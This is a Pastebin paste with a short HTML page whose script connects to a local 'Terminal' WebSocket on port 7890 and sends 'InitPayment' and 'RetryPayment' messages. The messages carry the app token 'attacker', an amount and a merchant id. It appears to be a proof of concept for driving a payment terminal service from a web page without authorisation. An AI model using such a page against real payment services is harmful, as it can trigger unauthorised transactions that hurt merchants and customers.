Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title>WebSocket Terminal Sender</title>
- </head>
- <body>
- <h2>WebSocket Terminal Interaction</h2>
- <button onclick="sendInitPayment()">Send InitPayment</button>
- <button onclick="sendRetryPayment()">Send RetryPayment</button>
- <pre id="log" style="background:#f4f4f4; padding:10px; border:1px solid #ccc;"></pre>
- <script>
- const logEl = document.getElementById("log");
- function log(message) {
- logEl.textContent += message + "\n";
- }
- const socket = new WebSocket("ws://localhost:7890/Terminal");
- socket.onopen = () => {
- log("✅ Connected to /Terminal WebSocket");
- };
- socket.onmessage = (event) => {
- log("📥 Response: " + event.data);
- };
- socket.onerror = (err) => {
- log("❌ Error: " + err.message || err);
- };
- socket.onclose = () => {
- log("🔌 Connection closed");
- };
- function sendInitPayment() {
- const message = {
- TokenAppId: "attacker",
- ProcessName: "InitPayment",
- IPTerminal: "127.0.0.1",
- PortTerminal: 8080,
- IdTransfer: 123456,
- Amount: 100.50,
- MerchantId: "M123456789"
- };
- socket.send(JSON.stringify(message));
- log("📤 Sent InitPayment");
- }
- function sendRetryPayment() {
- const message = {
- TokenAppId: "attacker",
- ProcessName: "RetryPayment",
- IPTerminal: "127.0.0.1",
- PortTerminal: 8080,
- IdTransfer: 123456,
- Amount: 100.50,
- MerchantId: "M123456789"
- };
- socket.send(JSON.stringify(message));
- log("📤 Sent RetryPayment");
- }
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment